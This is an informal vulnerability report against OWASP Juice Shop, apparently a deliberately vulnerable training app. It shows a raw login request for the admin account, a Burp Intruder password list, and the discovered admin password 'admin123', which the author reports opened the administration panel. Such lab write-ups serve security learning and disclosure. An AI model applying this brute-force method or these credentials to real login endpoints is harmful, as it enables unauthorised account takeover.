Titel > **No brute force protection against '/rest/user/login' Led me to brute forcing the admin pass.**

Desc> **The /rest/user/login doesn't have any protection against brute forcing. Simply using list of passes were able to brute force admin login info.**

POC> POST /rest/user/login HTTP/1.1

Host: juice-shop.herokuapp.com

{"email":"admin@juice-sh.op","password":"edf3efswf"}

,,,,,,,,,

Usuing burp intruder I was able to brute force foe the pass on the admin account which was 'admin123'

,,,,,,

Using this login ; https://juice-shop.herokuapp.com/#/administration

I was able to access administration panel and view all accounts and senestive data!

Positions Payloads Resource pool Settings

Payload sets

Start attack

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: 1 Payload count: 9

Payload type: Simple list Request count: 9

Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste
Load ...
Remove
Clear
Deduplicate

admin
password123
administrator
admin11234
admin09864
adminstrator123
0024admin
admin123
admin123456

Add

Add from list ... [Pro version only]

Payload processing

You can define rules to perform various processing tasks on each payload before it is used.
